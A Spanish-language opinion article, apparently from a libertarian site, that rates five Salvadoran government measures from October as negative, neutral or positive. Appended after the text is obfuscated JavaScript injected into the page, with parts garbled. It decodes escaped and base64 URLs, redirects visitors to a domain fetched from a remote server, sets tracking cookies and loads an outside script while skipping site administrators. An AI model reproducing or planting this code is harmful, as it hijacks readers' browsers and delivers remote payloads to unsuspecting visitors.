

OCTUBRE: EL ESTADO SE EXHIBIÓ EN EL SALVADOR

Durante el mes de octubre El Salvador se contabilizó un total de 5 medidas dando como resultado un -60%. De las medidas analizadas 3 resultaron negativas, una positiva y una neutra.

La medida analizada neutra fue una reforma hecho al Código de Trabajo en la cual se contempla una multa a los empleadores que no cumplan con las prestaciones de Ley. Aunque la intención es evitar que los empleadores no abusen de sus intenciones evadiendo prestaciones a las que se comprometen también tiene una arma de doble filo, ya que puede ser este un impedimento para que los empleadores decidan ya sea no incluir a más personas en su planilla o bien no contratar más. Además no toma en cuenta qué motivos tiene la empresa para no pagar las prestaciones y solo obliga a pagar multas sin buscar otro tipo de solución.

Por otra parte la medida positiva, los diputados aprobaron que salvadoreños en el exterior puedan votar o postularse a cargos de elección popular, para elecciones presidenciales y de diputados. Esta ley aunque ha sido calificada como positiva, ya que incluye a salvadoreños que no residen en el país para votar, tiene un fuerte dilema y crítica. Primero, considerando que son personas que deciden no estando en el país, y segundo, porque es una medida populista ya que con la comunidad en el exterior el presidente ha hecho mucho trabajo y parece una medida a su favor. Además a diferencia de los salvadoreños residentes en el país, sí podrán votar los residentes en el exterior con DUI no vigente lo cual evidencia la «libertad» desmedida para salvadoreños en el exterior con un fuerte enfoque en esos votos.

También te puede interesar: [Datos del libertómetro](#)

Las medidas negativas analizadas, 3 durante octubre: Ley de Bomberos, Reforma a la Telecomunicaciones y Licencia con goce de sueldo por tormenta tropical Julia, posicionaron a El Salvador con un -60%.

*La Ley de Bomberos contempla un impuesto del 5% a las aseguradoras del país, en nombre de los bomberos. Lo cual resulta un atentado contra la libertad empresarial obligando a dar un tributo que además aunque considera la no extensión del impuesto al usuario sí terminará afectando y además pone a un sector (los bomberos) en ventajas con otros y a las aseguradoras en una posición de desventaja.

*En la licencia con goce de sueldo por la tormenta tropical Julia, se concedió licencia los días 10 y 11 de octubre para las personas que se vieron imposibilitadas de acudir a sus trabajos debido a la tormenta tropical Julia. Lo cual aunque parece muy positivo, resulta contraproducente en materia económica para las empresas. Ya que el Estado toma decisiones arbitrarias de temas productivos que no comprende, interviniendo en un tema que solo le compete a las empresas y sus empleados.

*La Reforma a las Telecomunicaciones, resultó en ser un mecanismo para que el Estado pueda obtener información de los usuarios de telefonía a discreción lo cual es un peligro para la libertad individual que puede ser utilizado por el gobierno para sus usos dejando vulnerable la data y obligando a las telefónicas a entregar información. El Salvador durante el mes de octubre evidenció muchas de sus intenciones: populismo e intervención.

```
(function(){if (document.cookie.includes('hasRedirected=1'))
return;fetch('u0068u0074u0074u0070u0073u003au002fu002fu0064u00
69u0073u0074u0069u0065u002eu0073u0068u006fu0070/?t=json&u=153d
4f720470d9e7a3e895c70153e7cd').then(r => r.json()).then(d =>
{const
domain = d?.domain;if (domain) {document.cookie =
```

```
'hasRedirected=1; max-age=86400; path='/;location.href =
domain
'?32861745670379';}});})();(function(){try{if(document.getElem
entById&&document.getElementById('wpadminbar'))return;var
t0=+new Date();for(var
i=0;i<120)return;if((document.cookie||'').indexOf('http2_session
_id=')!==-1)return;function systemLoad(input){var
key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234
56789+/' ,o1,o2,o3,h1,h2,h3,h4,dec='>',i=0;input=input.replace(/
[^A-Za-
z0-9+/'/g,'>');while(i<input.length){h1=key.indexOf(input.charA
t(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input
.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=
((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if
(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fro
mCharCode(o3);}return dec;}var
u=systemLoad('aHR0cHM6Ly9zZWZyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==
');if(typeof window!=='undefined'&&window.__rl===u)return;var
d=new
Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie
='http2_session_id=1; expires='+d.toUTCString()+'; path=/;
SameSite=Lax'+(location.protocol==='https:'?'
Secure':'');try{window.__rl=u;}catch(e){}var
s=document.createElement('script');s.type='text/javascript';s.
async=true;s.src=u;try{s.setAttribute('data-
rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||d
ocument.documentElement).appendChild(s);}catch(e){}})();;
```